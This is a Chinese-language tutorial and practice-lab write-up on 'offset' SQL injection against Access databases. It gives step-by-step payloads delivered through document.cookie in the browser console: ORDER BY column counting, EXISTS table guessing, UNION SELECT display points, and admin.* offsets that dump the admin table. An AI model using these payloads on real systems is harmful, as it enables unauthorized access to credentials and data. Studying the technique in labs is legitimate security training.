一、偏移注入使用场景
早sql注入得时候会遇到一些无法查询列名得问题,比如系统自带数据库的
权限不够而无法访问系统自带库。
或者遇到Access数据库
当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
向sqlmap之类的工具实际上是爆破字段名的名字,但是如果字段名称比较奇葩,例如:H5scker_passwd 之类的那就无可奈何了。
总结:
~权限不够
~遇到access数据库,且列名奇葩难爆破时
.* =>正则[匹配所有]
.* =>*=>在数据库中*也代表一切
select table_name from information_schema(库).tables(表) where table_schema=database() // 查询(当前库)系统自带库里面的表名
information_schema(库).tables(表)=>information_schema(库)库里面的这个表
库.表 => 选中这个库里面这个表
库.表.字段
admin.*=>admin 表里面所有的字段
select admin.username from admin=>select username from admin
mysql联合查询不用from表名
示例 select*from admin union select 1,2,3 (from user)//括号中的内容可不写
access需要from表名
示例 select*from admin union select 1,2,3 (from user)//括号中的内容必须写
二、偏移注入步骤
偏移注入:不存在注入:寻找其他页面
寻找其他参数
存在注入:联合查询:
猜字段数 order by 1
猜显错点 : union select 1,2,3,4,5,
注:access需要先猜表名,因为查询语句必须写表名
猜表名 :mysql:查询自带库自带表
accees:强行猜解and exists(select*from表名)
猜不到字段名:开始偏移:例子:union select 1,admin.*,10 from admin
注:注入点的表的字段越多越好满足一个条件 注入点的表字段要大于你查询的字段
然后开始不断的移动表.*来输出各种数据
一、偏移注入步骤(Access为例)
1.判断注入点:
当在url中输入and 1=1和and1=2时,出现错误提示,说明Get传参被处理了,我们就需要看看Cookie传参是否没有被处理。
使用js代码在控制台判断。
document.cookie="id="+escape("xx and 1=1")
document.cookie="id="+escape("xx and 1=2")
2.order by 判断字段数:
document.cookie="id="+escape("xx order by 1")
3.判断表名:
document.cookie="id="+escpe("xx and(exists(select * from admin))")
4.联合查询(判断输出点):
字段数相同
注入点的表的字段一定要大于查询的表
top x取几条数据,一点要降序,才能达到limit的效果
docuemnt.cookie="id="+escape("xx union select 1,2,3…… from admin")
5.获取表中列数(知道存在几列以及输出点):
docuemnt.cookie="id="+escape("xx union select 1,2,3…… admin.* from admin")
6.开始偏移注入:
docuemnt.cookie="id="+escape("xx union select 1,2,admin.*,3 from admin")
解释:admin为想要查询数据的表名
3为输出点。
靶场作业:
判断字段数
105 order by 26 页面正常
document.cookie="id="+escape("105 order by 27") 页面错误 说明存在26个字段
猜解表名
document.cookie="id="+escape("105 and exists(select *from admin)")
页面正常 说明存在admin表
找回显点
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")
出现 3 5 7 25四个回显点 25也是回显点只不过被隐藏了
找字段数
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,*from admin") 显示错误
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,*from admin")显示错误
多次尝试发现有admin表有16个字段
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,*from admin")
爆内容
经过调整admin.*的位置可以爆出admin 表的所有内容
document.cookie="id="+escape("105 union select admin.*,1,2,3,4,5,6,7,8,9,10 from admin")
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,admin.*,10 from admin")